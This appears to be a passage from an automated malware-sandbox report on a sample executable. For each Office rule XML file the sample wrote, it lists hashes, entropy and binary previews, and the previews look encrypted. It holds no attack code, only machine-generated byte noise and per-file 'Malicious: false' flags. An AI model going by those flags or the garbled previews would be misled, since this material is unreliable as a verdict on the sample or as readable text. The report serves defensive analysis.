SHA-512:	388F11BAE4C0D42393CCE06127266C9B598E86CF66606964E25CDC2BB741752B6FC3762C09AC681E9007216E10AE7A45A0E1C49A898A46258815A252ABD13B5B
Malicious:	false
Preview:	<?xml.A..b.......[.;/.?..TB.R.U...'....'.C.s.d....>g....p..p...Gj....k...0.....V<...m.>.....\.....\|K............xr.h..J..(D....%.....?..>_..)j..v.}{..".._..<....].$.4..2N.i....\B..O...R..d.:.\.wzS...V......!Ho.<=........r.,.q..l<.SS......p....v..E..'<.......s.--.w.J....h....s...,...y8../m...U..=7l.7 .@Q.PJ....r........6..^..Af...MYa.....<..........w"R......S. .[...(Z.T..:ys......p..8....U..p.dw...K.......4&..G.Qf\|.a.E..#.'x0...'T..K.2y....zC.GI.....D`.,$./.V...4..sX...U..}.`'..h.....F...ZEL.7..{\|M..0..j..A...Nh6H..l..-.F..lu...V.....Ct9'...<..7.c.I....e.b...Rl.?....x.....]\....D.....x..xL...3.l..=1.f..[B.+....3.6..T.H..t........Y>.o...h.b.-_.n...X.9A..8......@Y.l....N.s.^&.........v+...h...q J.=...0h...D...p..@.O.:.......<....-?..N......3Q.:....OK..{q!'.u.-4I.....D....o.c...{...u.^[5e. E.V".....2w..?\s..s.....P<....\...u8A....J...X...b.x...j..B.......6.. ..{..G..D/Ct.J..2...l...I..$.m...-....%......h...=......?.~.2...5....BH.V....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.843715826689077
Encrypted:	false
SSDEEP:	24:tXFGA815oUdAmxXfq6qJ9E9Z3gYtUGjwbIhDhh/A/7akR2HPEAZMLcoErJuJqHfX:t1GnXvd9xXyp9E9VgUh9pA/7a1ZZMzEP
MD5:	D4CA6ED5702EB53EE052EEC578FDBA13
SHA1:	40CE68DA598DD44F44B3AA5E313FCCAF0836D4B7
SHA-256:	0BAC3AC3BB898474081E17B1B7E211DFEC9BB9B7F5E3CE0E9CBDB5392E549FFA
SHA-512:	22714776982D98139B4D268338709FEA0171571091381590E133F16363137F290C4A925244EAA1DD2A2856C0558895A1C56BDCA90F19B74419ED32B5DBD99986
Malicious:	false
Preview:	<?xml.4....]w.pk.y3.F....._j.."d...L.}..5.-\.6'RFsUp$........yrM5=_R.D.Aq.Q....S.8yn....$....P..[N....1..~..(...S:....&...I,.X.L.U.T../A..>gT;.^,.2....y...W...:....'..........bK~.....2...)..;\|.z.=.e;...\My.N...\|...'7...x...AE..Qxw...(.f.....^&3.A...2 ...nAfZ.<..2..^.d;.o.Vz....t.../%,...&..,W$.R...K.g....^.O._......b04.....gQ....^..7t..`......C\........u==..2..K<J..'..4.7.LS3..d/R,...'.Z.(...um.-#.w..9u.reN.\...~i......K.".$3.#..^.GQ.Nj.c.+......W...VX.k..l.]3..:.........8.i]. }..YA.........0.N.9....Y.O.:...U.y..H.....2y.a.\.._....8..:...,x.....C\..$....J...cPy..-.t.K.`...Q........e]"....TL.j_H=.w.L..2.h......-...7..]....}...\|..\c{..p.T Y.~.G........}x^.=wP5...F....rr;Mor........0..<oMh1..D......F..S.C..!.iIU......R.K.w.].El.$..+.....P ?O.S..bZ.?..A2i7o.Z..Q.~M>SJ ...?.r..8t#...U.N..<..o..,.>Z.....d...Z...?)T7V..8k.<..sw...A..e.E......k?......xv...~q.\....S[p6..L....%..?o..s.......N..s._..T2ut..w...JA..`.e..;........_<.zP.~..S..R3...!aT.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.805207400037119
Encrypted:	false
SSDEEP:	24:MC+dFGonm8MDzSNUSg7sDcf69GvYsa7AR31Ls/hlwu+DPKZomVIvbD:MC1onm8TUSgA54EI3xsTwu+DSZpVED
MD5:	4CB6F6A8E51B9DDCD93961E633908856
SHA1:	D10EBCAFDAB0C9E9D09F999FE3BA376B5C7CC707
SHA-256:	3127882368A6C006B18BE7BC152B801C20342CFB956794082E84C33BDD53F96C
SHA-512:	FA0713C6A8AF06CAA36485C5A8C05807A874A1C621FF6B53E28A7EFFC9463E873841AF22AC88FBCE85C0EAE1CC8AAD0405E0D30E55CE71CAE8F8753D35F5706F
Malicious:	false
Preview:	<?xml(...........H`4..^......p4k.^....9B.4^..1......C.m<Y{.....3...).1.7.s.7..2..^...$.:t,S..R.4.t9R.c...Y.ZL..i.!u+....^.K..{K..Pc.....IMt.~"..].Abs...X..].z0..b....".. 0H....D...,....K~P6.c.uc..n....W....<.~Q@.%V.h..G.v..QQ...!......~,!...O$.5.2 ./..y_./.w.@...6d.e@.._tc7:...=.m.M...D~.<.SIp->.....v.RG..uc.....t..D..s.j.}..#"?.j..................x....4..;..br.)S.?h...0I.+..<.....I.,.p...UX..L.bz.....ZA.1z.g0....,.....0...7L1..d..........h......b......Xk.7..........,.......y......J.l1Ye....B,x../......R..;.4...c....{....z.g.\....C.7...c.5.+..jT.9.B.w...m.`p'A..lJ. ^Teb'..s..Wq..:..}...V.......fQ....H.....#s....%.y.}%.U...7.g.b+.K;.e~.....F...,hvp......._e.S....E.3,. ..s[..W..!.=34..K&S.i..of.{.c.h...+}Y..'t...A.'R....PP...W/...g<.oOy...\|..qA.7On,;SU.15.3H..'&. .0L..O........zl.}R'..\...U.".R.....a..."[.P8......A=..e;.l.....x..f.Az'.<;...%...3....>5."W..Kr.3.+......k .Z}.....8...`."...,nw...QX.D.?:.\|Z.(67.^..wBqq..._}.(..? X..a1K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.809804633281372
Encrypted:	false
SSDEEP:	24:o+yPt7H3eYGi4Kmha5lomevK22cvhJHjeUaaXJ0iTzVOoj08w4oYQv6oDbD:JwfGi4KWaaF5vhZNaqp7Y81Ev6aD
MD5:	3616D1ACCBA35FD631FAC565B557B296
SHA1:	4C9A422A89195B2CCD46C52431C34720F6D9168F
SHA-256:	A253C433BD962897501A1C2FC5F0E105404C3FE098FC27F9DE3138A99C65D5C5
SHA-512:	3C986A39BB7E56B6F09D478F6B2BEF2C7670D62E8F0BBB14A998F759B67C42603F1FA54B2EA56CC1381252759CE5CE991FEB9CF422F7B7689017E4C00305BD0B
Malicious:	false
Preview:	<?xml.gT..up.....9....!.U.L6...)..4..._M....v..K/@fg.&..}.y@..:..n.3=....Je.. ...:..$.7.@7.VI..]2..-.....le....&.^..H(D{.$%%.u.[.w...$eN",...f.M....n.O.=..(..v=.....bj....s......2{3. ..cN.) ..s.D.../.e$&.<8.1...6..F+/olg.d6..K..w..._.hj.f.?j..Q...A~Z.j.k.?....%6p.!.....I<..MjE.?$N...dSc..u.].7...M3.&.........w.M!.I......L...4..!o...2.O.s.....N..M.K.y.0..#..WV..\EoR.....:.+.;.[..gx."n].....y"..PI5%y#sQX..N..5O....+..V.....(.b....A..ZH....R.>.Z..8.p..}..d....O.RF]...oj...Q.c..+.F..4.I.MR...=.K\|A.-..G..?....\c..B>.I.....9U.w..w.$R.k._..t.H:M0[..Qn;t........-H.@..`......B..d....YT...J.hc.Bm5B.=...vF.....6..b........1.+M..{4.v......%R...V`......up.......y.e...3.. ~W...........}.@.....6..]3.':9..:/5P2W.b..pV..C.5...A4.vt..>.:.:0.x..`*..MT..)[..\|.R_.z$fJkON'....].`.{...#.g.p.8.l....Q.....>.T.f..._)..so.N.......A../.AH.5:[a....+...t....Emq..B.Uf......W...9.Ft..x...Z>[....].....`....D...;.u.x^-M..9Y....r.Y5.../g}...^.1L.d.}.W....2s...%{E'0...2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.822352351726337
Encrypted:	false
SSDEEP:	24:xlqQjz5d79YczNkcPqu+5NAu6KE0pAtzRIdPqaCNcYrArNbD:xAOzD79YCNf65koqWSc3rtD
MD5:	E36A27605FFE5499C7614C7F47BA2949
SHA1:	7A0909FE08499AF5D1EF6F607F516F133B086C11
SHA-256:	8D0A1B7EC2289919299F840AC459D139ABFA53DEECF92D4C928D16FC29397DF7
SHA-512:	D99111DA62C066600A32FA9A00836D62F162DD42E423D38B0153627AAE83BFB37E316F0D5F9F9D6160F88CAD56FEE3B251FEB46B939D804849F65E587EE94454
Malicious:	false
Preview:	<?xml..d....../.z]..t.14...!.UmU.ra..j.d..g<I..b.yY!].p..9..^WE...t'<..g.......)5. .fe..t^E+...K....s..B3.c.F.5....B..."..{...i:"...s..SW>Z...E......$.X.....'.p.2....b...2.h..\|.u?iD"..)a,Q....)<}....:...[..z,........]..h..-?.--t ..q.#&}.h..T.U.$.j...$...u...u\|..k....D>G........E.....Gqk.83....T..@.R.`]b...?w.2..-..M......F[.+z),...........3".4..o.h......?.=.Y../...D.H(.-..$..~.B.......m.\|Ej..}w......Q...0KLm)EP..m...bX.m.o.\C......?''B..8E.M.....Ja.....w..L.t+t.>...02.3}....mQ.%/.l...g..%.I@.p[.......:{v.yw..7Q\|K@.\|1..O.M..+... 7.....V.....f...z,.<+mp...7.`.R......)]....c.X.z.n.(....I.=R.J\V<..cXPo.QZ..+.Q.....\.Y......[.%%R.1zF...wa......ybe.....(..O)...l.0jwd+1................ul.<.A.'..E.>.et@.oI.!aU....J........VW.e,R...H....6L...-..99....*..`...%z...RL;..IN3c. ..#ene:Q....U...c..v..._..~o.m......gsjo@..QR..d..#....X?E...\|I._n.]...9.........:=Z1#v...wGR9.....B.G..L..i...g.3y6..........,.....u.9.i$....n...\|.R..Qk.6D.{.B....V.I...{..>.=...K.9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.82263323829277
Encrypted:	false
SSDEEP:	24:GA3Hsnr5glhJ4IzRsyBJGs+1ejxV53tXnuhxeUESB0pbD:GmJ4IzRsUJh+1etrtXnuhxB0JD
MD5:	851951B615D40C7F6736E553C5E4C047
SHA1:	E7882BF5D156B8B7A94F35A82C97529E992B256A
SHA-256:	07A848424C2681ABC0FD71E6BACE4785DDDFC03F3D520BE7BAB7D8DE5D134043
SHA-512:	73A8C73B2967051EEB1B29DE94BA2B217CA2F305BFC830E32811E6D24712298C2ADD1E5DB67FD78C1E510F7D75FCB55705D5ABBF612E8DF19C330FC035F337A9
Malicious:	false
Preview:	<?xml.^.E..E..J.. j3.d.4....D..vIJH...._.q!X...&.`..a.@P@.a....Q./B&.........Uae.....2.....W..n..a..T..N.Tz.....l.o....f....m.+LWG9.+.0..a.\...q-..e..&ubj.."E...m.&....l..wB.......@.M.?Y.......}.A....M...tV...XD.\|%...m,..L?..m..wZ.. i.R....,.D`......y%&[+...T....4d..M........H..7.........v)....b...1._..D......\TrZ.Z...Qt...}.....{_.......\6-k.v...E..Bsr...._......(....k....P.0.dq..e\|..2......t.{h.@..p..?.<.o...0.......R.@..z...3B8...J%.....{..7..&.\.:\q...b....g..]...h(H.ipT....&Yk.c...$....#.g.e$..2,..o../~...;...~...b.......}.N).^..u...'....L..H...[....JK......A.j..._.W.l.....op...EZ.N. ....VBs.<..y.ZDC.....sUI1....#.w..........Fv.c.`. .._:.<g..)>\|hf..r...\|.QW.0Q..eP..,..o.m.G.6...1..<.,..d.g.*.c}.q.d...~.7.2!.y..gH.......<.$t[.t.....ii..'U..=..Z..Pr.?.a....=.....i{..5..1h?i&~.5......R...<..+.=..4:..P-cD..U.Y..W7...Nl..b..q.0xT.<.k....H..^..M...p..l...........f;N..7......Oo.!m..]=.....+SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.953319929205009
Encrypted:	false
SSDEEP:	96:T/T5fplyDq/+4YEcxiDSFP58FRPTPKm6d09i/fvVWEW:7T5Bl5/+ycwGP58FRbi9dWEW
MD5:	85A5C720D87EFAF8BEF80306E1B04BAC
SHA1:	48A1A6CD25829AA1AC8487815F60571DA0155837
SHA-256:	47EE02EADAB2BD10CF5CF4BBA2E8050C5CAE7402A2C729C1DB1284EF8665EE13
SHA-512:	3764FCBA3152192D389B2D097CF86FD87D55ED3F19FD20BADFFCAA1DC84CDACF783384DB5717A0AF790D13332E2A5D185C0EBE5E5122208D26123A3E736B25C0
Malicious:	false
Preview:	<?xml5Xq.<.....e8T;H..5Be_..Q.\|.C.e......<....%..^EQ..)......2.Bk...g..R......>.Z+..R^qy:.....v..B=3Z8.di.<!...._...^A...Nu...g..A.N........8......]3........\.B..:Y..<L.B.....:.p"vc`.=@".....C..2............0.....e.~......{..tu..o...@....N.kd.......7 .uB .:dP.........3..........n..O..h;...\"...6..Uq...~..8..ec.......mw/oW.Jb...=Z(E..uV..).<......A1l..x.6..v...x@...@.Ykn..9..~.7....f@7.J.........%6z;PqCX;%...W....N\s._.o<...........B../....E.^..j...g?..2..Y.......4....5..m..e..'.w.<.Cl$.+..<..d.6...K..dN...i...'.i..}..@... ........_..;j..9K..M.......if....z.r^...Tw..h..#...3m...S.q7.25.........E.;...$2Z.. .1I..:k:..=a<.w...,..D/...!.YI.}.H9F...^,.....D.....D...~.6.......N0@.s...D..H#...L....P.r...^.w(x8.J..\|.F.`..y....o&p.....[4.X?.~.(+.Uc.zx8........zVq........~...k...C...q.D...f`.~T.V.O..g..uo..M..4.OK.......?..a..f..._*.>.D1'";pR..0,..8t...-.R...w{.g.x....:o.5!.&..X...,...c...Q.7x.....++...$8..T.U..9..........J..-.....@...."-g1...^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.7280173208409915
Encrypted:	false
SSDEEP:	24:pnvmg6iZjnE1odQsbaRQ4BqwIXP+RYtacVWVI8ATjbD:pnv/ZgP2DwIXP1dsI8ALD
MD5:	E522CB66A487C147AF75026CF46EE713
SHA1:	FB0845746908BCE4E4DD7F3BD55E8806F34EA0CE
SHA-256:	A6C357A0DEEE231E797B7F65297EB377A63B63DAB0FAB5A37B1CD6462D8C0B4E
SHA-512:	29956ECEB6D86095DE26D04B9B2C3959E053A5996C1C7B3852CA60764BFADC6DBFEDE08C655D6A552C3AEACEA657CFB141270C3175C3CE010F852E61A59E4C85
Malicious:	false
Preview:	<?xml..&.)....myf.$.........FVg..Yf.I.....A...D......6.k....%1...;zVQ>.PvFA<\|.............K.2...3."b..]K...Q.../<.....WQe9jx...O..~P...`..#.n..#...u..J."..Q{...>.Y......d&].\.C.=..`[.q.....^.............A0o.w/...DG.q}[...j..n..C.nw..Xy..i5..t.N.ai04.".g..Q.\|..Ee...>.v`.'.%.`...(...9.G...Nr=.G.2X....{.........).6U.ObJ.dYF....!..7.R..Ju.:..r.-...B.V\|..M....n...@n]..[bW3...p.=?4..g.M.(m..\.gwM.{.z...W7.. L...;w........y%eCN.n...P...+f...wb."n...Q.B.....?.Lc.e. ....<...tR.....\|.]Fsw>p..YrA......>..t..ge.9.(r...H -d..].....gI...;.e..G..[pP.u.0..-#>..T..t..+z..=..N"cQ....Xs....Y...>.Y,...c'.f....#Y5s..c...P..r.#..].MO.aR'.}..lx.@._..v.}....n..9.21g.55.........G/...)=.qGFT....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.946723505871558
Encrypted:	false
SSDEEP:	96:FAAgQ+MLXWHfRhJJ+2Rn0+SkEjkE+3gpvoPIhuSgF+No5jQ:Fp9XGHfRDw2GeEjq3gFO/SgFfE
MD5:	77020CEC69F662CE7018866FB48274B9
SHA1:	FAF18A71106D567F9B199E9A1144FD09BDB0C8B2
SHA-256:	DD4EB803E28C6A6E03C9F24525B5F3D6BD2CFB0D55051AB8E4037290B25520B7
SHA-512:	51D185B3FCC0EE83E7FAC4F49C3553113C724512F3FCCBAE1B6A09C3F9630AA2A67F5F93995262DB7DDDD946552A2DFFE8B9A75A0DB90DC272D724065D0D0A80
Malicious:	false
Preview:	<?xml.).I...b.u.w..3.:/.S.....9...]..s.+=?..nga.}$....Zy....,##.y..f.#..4>)4?o<.ws[>..P.q..I.,..........8!....)8......a....%.U..r..\|...i.q....H.^...Z]#`...H.K.v.N.\|..W.^..\.B..k..>(4V.....Fs..E6.../..CPL..(..L._.F.Xr..s...}eoG...Y...S.Mm.o.....1.x.......5.\.jv%x...4}2...p.w.UF6..E....z..J.D..9u%....n..vZ............>.......f%......E\...[L..k3.x[..SM.. .....7.....m....[..}.......QW.....[....y.?.{....1.../.1.A.5...^..a53........L`..Sl}%...u(..4j.3j.1VTv1.1..#)...^...$....6.B......._.Y.D.M.ja..iT..?E..x..:......?f4<U...'6...T6..p.......0F...R......./.u.x...o.P]=..X>Y..j...:.}.....H....m{n$.d.G0.o......_H..[..[.k(......U..8......v...........r.....H.C.v.2..[...&..I....wO.&z..../.+.Q.fp...J#....G^.....v-<.R)....*?..1.,.....G._.}\|......r..BZ;Hl-.#.T...><.EO..b?..d2.D.+..0U.`'....N..#r....>..N/(J.......C..%G...Sp.b.s.+....qv]....e..r@.`mp.2.B$r.S...8.Q...X.p.E .\|.O?x.....Tn.p.v..c...,.$(...Lkut\|....c<..h..NT^P..Z..h\|.v...lyx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.80380863964686
Encrypted:	false
SSDEEP:	24:fy3cqHCzlyxo/k1bMbcKqGblujrfQF1pJJ0lWiFd02IO3FbD:f03wouGbMo6uGjD0l3jHf3VD
MD5:	55DE867D9658CE5477A04953582EA1FF
SHA1:	A03860B00F27190B97727AEA503441AB944B73D3
SHA-256:	91A2468EF093DA97CAB6518123CA731E48835CD16473DE6F6852543F90F48748
SHA-512:	E5E27CB5284402048A5C8BF9782145BC53EB5997DD3E7036A941BB2F469CBC991603D5168BC603ED23ED527870847A44383AF5E6CA977979493398242D3FE724
Malicious:	false
Preview:	<?xml....hl..GQ...............i...K'8...O'.=b.......3Tk\..u.N&.i4'.%........!.I..3&<A:=8...P....S..}.=.}.~....)Wd..=.,..M..p.ts.&W.7.8A#.T..C.w.e.v........n..l.0.:]...w.,.M.."'s...#.{U.h.ti!.(f=.".;.,. ....w.y.......38...o..E.F.....'.<5._t..6&D...O1.vW.3..d\|F../lW.UM.R....;......Q...J.3N%X!.2.R.L.+.o&i..3..."...o.[........;.C..].YT&...I?..VS&.Mpy......[.J.. ..M.%u....c.5.....0.p..[...m.=.....Z.7..y.AKS........li.bt0..`[`./..Ym..cs. .\|./\..r.n#.....^.O}H.7.m.m-e.]y../....q.i..M..`.<...P.&......%!."q....!..F.4.8[5.V..}.w$.....!...........r$...61.D....9.).Hs...I..Kt...s.M...../4...-:..6.-..RFj..vU!-5.MMD..Ug.^S8......~...@.PC..... pl5....M.S.....6Ci....l..:.;]..8.D...c...z=...\..{K.J.y....@...0...r.oWI%.g..)..V...N.h2..)`..Q.L".B...Cv......p.Q....pW......<L..K(..B:2..z...m8(.\..%s.b...w......e..+8.\..BZ.9.....?~T;.H..1\|.K..;..)QH.....3-...D}[.'....>...P.....l..:....g....?,. .W.=.(.u.I&B.>.r..'....x..O.w_..Z..d.....m.+....N.\.V..PoS6......`e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.884408279685677
Encrypted:	false
SSDEEP:	48:oIxDNtvPseltDDd6HDEcse1rxW1wt+TwKmD:JFvP/DDd6HnW2t+TwK+
MD5:	6A5F4373C000D751925A62FCCBD0504B
SHA1:	6405FDBB2C7C2A4618C24214499BD164E37976C5
SHA-256:	6F0CAB984A9EA92CE4B30F8237192535B34602BE88144A5C96259181AB4C01A2
SHA-512:	490CD6508551B5D277B4E71AA06A44895C174F5292A6DC37C2B4F64FA30CEE3036894F78B6391D2D0F5503D2FEE9039BB8B6418CF3555CC5AEFE74D41A21EBD2
Malicious:	false
Preview:	<?xml.?.s..$3=....V.sj)w4...v..H.+...........M.S.o.)....9.%...S.z..('.m7Pw5W$.zV:.......gz....?c...=..Qwc...@q....t.M&B.....R@. Z ..W2..LfKyK..!.'&.}..V..9`~A./..'..T.MS...6...c..:...=....y.-......a7...['..x.Z.n6IC5m.N...W...9.l=..R....P...;../....(.n...G.#...6mg..z..]\|...e.u.[........u.Ly/.K.@.4,@Dk.{.....[Tg.T.J..cixM.F.q.x..:......3#Ops.O.h..X#....Z..../..$...-i/.].;{v.J0..o...G=...jZZ....>....o].a.hY...<&....]..B..:}`.$.}.fY...N...0......2el..O;....f...o.t.7.L..).Xo.6.K..'.....U.5S..~.Q.H6.n2...\.bR...='/./.H.4..Zz.Da ve.&v...oQ..`.......S.../7..L..ko..M..UR...1...q.Cc..!?...'..^....R..9#T.>}..(.W..`..).l..U......!......v#....u#.C.....(..5....B4>.^.-.G.O.e......(.w4....k..ze......Am.....W..{fD#Y.WOP..*,..x...-.<.....6c....Q.!.. W&..o....YF..p?...?.....{.w..f.:1.fv}..{2.P.b.h<.....s.F..Lt.(...".....`.m..a... XOA..7.T..s].V....i.k^.K...ko. D.....:BH...DO.xr.>@......`..............,.../....FL\|...}...u..1..w........Ab.6.EHg...;>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.716466019447896
Encrypted:	false
SSDEEP:	12:tVGMhHlpbaR/XewntF3GTKOoE91wT1e4oxVV7Va/FZCYErVYIjagWFF1+cii9a:OWloBFnO7wBehVVJeZZEGbkbD
MD5:	3ABA69364E3A0D984B5637CA96BE746A
SHA1:	75636A0B09097CD562BE0CB343CFE4EB62197DBF
SHA-256:	4297F147E1AA990CC61E3BE29E8BCAA0804C6CC6903651A37997050067BFAA21
SHA-512:	0C193B557B99A5F6BA23E129543C07A781CC0529AF3F5F0319FCAB60880A6A4DD114F6748FBBEE8FF2E0D9B135F5CC7FAB4086F14AB1F2F3C29E8554A144D070
Malicious:	false
Preview:	<?xml.>.I=q..b.]b..........Y..5~Z..t.......px....;...~=w.....!...+...\. j?.D...A.>..e._.._\.w.C..sF..yg..OL......"`.;..k....\..... u..<?....s.0.s.....~...5lS*/Lmk...t..ei...(~.......;P?.o-k....:<..b.l.....S>]........wC.o..gh..o..O.."^.y".6~....i#@...+.7.e`./..4......:..%.99..&...[N0.e.n..U.;...r^f-..@....x.-.$......>.[P.~1.v=50W(.M7.P.nt...qar9a..}.Kv./.@.Y3..@.x.$f.`.....%..S?..A.."J...E..x.p;>q_..........R.\.IAP......T.v:..?..3....0.....x.....%......T..:0.A......^6.2.K...O...@.[.'Z..Y.%W.X...G.$.:V..@\|.?vW....7.^..h.sV..nI.Es2.......W5.{.R.".Q...9b.V3..C.b..%..F....5!.W.?.O...u... .Is....g.f..4..k0W.j].V..\|O.....x.RO..H...~)J.-....^N-.........PS^6....}.O'.u....Y......4\s.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.79537694967964
Encrypted:	false
SSDEEP:	24:OG374U8sLE5qS9/az4c/2fFvQyICsN1rOx7G0o3lLH0xU3WbybD:FewRz4Ac49OxSjDsU3pD
MD5:	40A5C2FEDC5F1BF34019A2DA753EBE0B
SHA1:	B5DECB533AD3E40DEB276767BA564A853C7F8EC7
SHA-256:	DB4142A44BD538625C3833FC21C13B2BB2390655385D5F2F1995046E25BAD80A
SHA-512:	BFE8B6ECDD9018C96CFDC1911C1898C81ECC0BBB8EB105756C6772AB12F37B7E406970F5DEE5AD833B533B61E98A8FC62AEEF4416A8F60D85023055E220BC61C
Malicious:	false
Preview:	<?xml....L..!.M...T`..'.._g'.v...3........f..U..."....r..G/Q..U...?Ya.Hx-:...fe}...u........Q,?...d##.....3k...9.`..:..7]...Z84.?5J{..I...E?.K'.).....<..\|q./.j.U...d...6aGm,.RU....'5.&..,[$3)..z....\|...%.....fk>..i.yT......}__.j!./.d...<..../.Z...`........H.T..n7p!.0..mV.E..t.i...QT./.,..8..gvB......l..A..S........@..%.;s..>=&PtK.n.5.f#...a-.....j..ne..(........q\|+i..j.h..Z..1.9.<%4......0..N....,.5.rXxI.F.-@U<.`.Y..O.7...^@2...........'...,.&...4.....l.&?EQC..wc!8....'s./..@.....3..m..2m..c.....a.$..)7&...1kx.......6..?F..7.l{.{NiP...7...E..:....R..>..t..T....D!'j...QGX.:...-....i......e.M.&.(0..._..!...u(...a....hCY'.RAL..E.!.....I.u.4xX..9......]z.N..+...~DQ.Y..(9.3x.(. q.:8.........4JD^..2..q.1.=5......U:r....<.f=6....w<u9f.....ha..Ki...../qu..~......\6.U.....O.}e..nY.n..\.k.....E)......w4...{3..l7[...#.w...#_....o[A.z......}..nR7.M9.. ..:]Zgu.nk.@%H....u..z.*.B....o5@...3.H......z..bah...[!........hi..].!.o"D?......,...#o..H...?....a^._w.N{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.791357780991276
Encrypted:	false
SSDEEP:	24:LY5yleWou7rXjn2mPHA7Tj58BG59UdjoD47H/acrYbD:LJeWou7ch8BIWdHraOCD
MD5:	2A7DCA1F4066E2595876CF8684011B83
SHA1:	C84B7E044A771B59CFCAED6689D2BDE9D8051EF7
SHA-256:	BC7C049DEFD0900A536BFCD2C8C1DFDBC0A2143DBED271DAC5FDE660A86BE693
SHA-512:	2C82693BC703356904AC511133EDE675BF868E5E81A73C1F0E2ACCC46BCFE42085BF8CE7EACD70B0A7EF07649A1DEA472475EF6EA707228359F601AA6A24A98C
Malicious:	false
Preview:	<?xml.3..(..Q....&.5.R..`&\...k.2.............A2.. 3.u.D.5...>f+Q.....V.Q..,Y..".7nZ....T3........+...J..@O.Po<..._....s...Q.~.Y.4.;.......k....s...;fk?.....[...}K.V/.,........).$.P..\|.h_>..6.9:V...]..>...b.Y{A.5.[(....f.R..E.....o!..J...A@..^n....4.5.?~....w...4.w.P....OK.*..]sYPK.l.G9.....F.:....el.$T4.h...WWYp~.Si........S..I.......w....^.u....oY.q.g.&....cGa0M..E.:...B<g).......Y..@...q.1.O,)oMZ#N...b.%.....-k...ws...1!..Q..a...\|..2.8N...Q..i.....F...A..d.......I.....m.E.. V......}r...Q..$...r,/...0.".PH.@.c3e....O......%..$EBU..X.............].....br.}eM...C$0....-.i.}U...8!0d.?wKAi.Ro.Ra...6.`... .v.k{..f..d6e.(\|".1.....tL.Z:O.\\|..qS.......l.dJe...."f.....++U....Q...@:#....3..:k...."h...\...Y....h\|...^O..o.....k....t.f..:.5.s....e.3...G}...Ee"WHH^-^7Z..S...In.......-.%U.>G...Is........9..A.6.tvm.....J__HL.S....1...c. r.._..W..~..7..1.{uv..i../v..9..X..0..s..6o..\.Hn.QQC..N.R...nV.2........A..%..&B(..@..c.s.d%)..E1SLibyJ8nZP43K8X6Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.744125223689146
Encrypted:	false
SSDEEP:	24:aZVIgvAnwEvekCXad49epQl8cpG9kxP2b1mX5sbD:zgvAvdjNpOs9oOb1BD
MD5:	005665185788D95ED83B6D594ED0605A
SHA1:	62029F873461FAAE4C8B45E66093D46153B1D810
SHA-256:	C1AC7330C692EFAE9196D0195B7C69E7ED5B02824F4DFD26FA0526C4380E7BE3
SHA-512:	9C9630CF12A09557081033D2CF3E1DC28CD8C0039FDF5C38DD19FF44A2BA44840EE0FAAC7AEA1745A5B725A4153CEF83ECEB093A8D4A23567C50B1A2144AB5C7
Malicious:	false
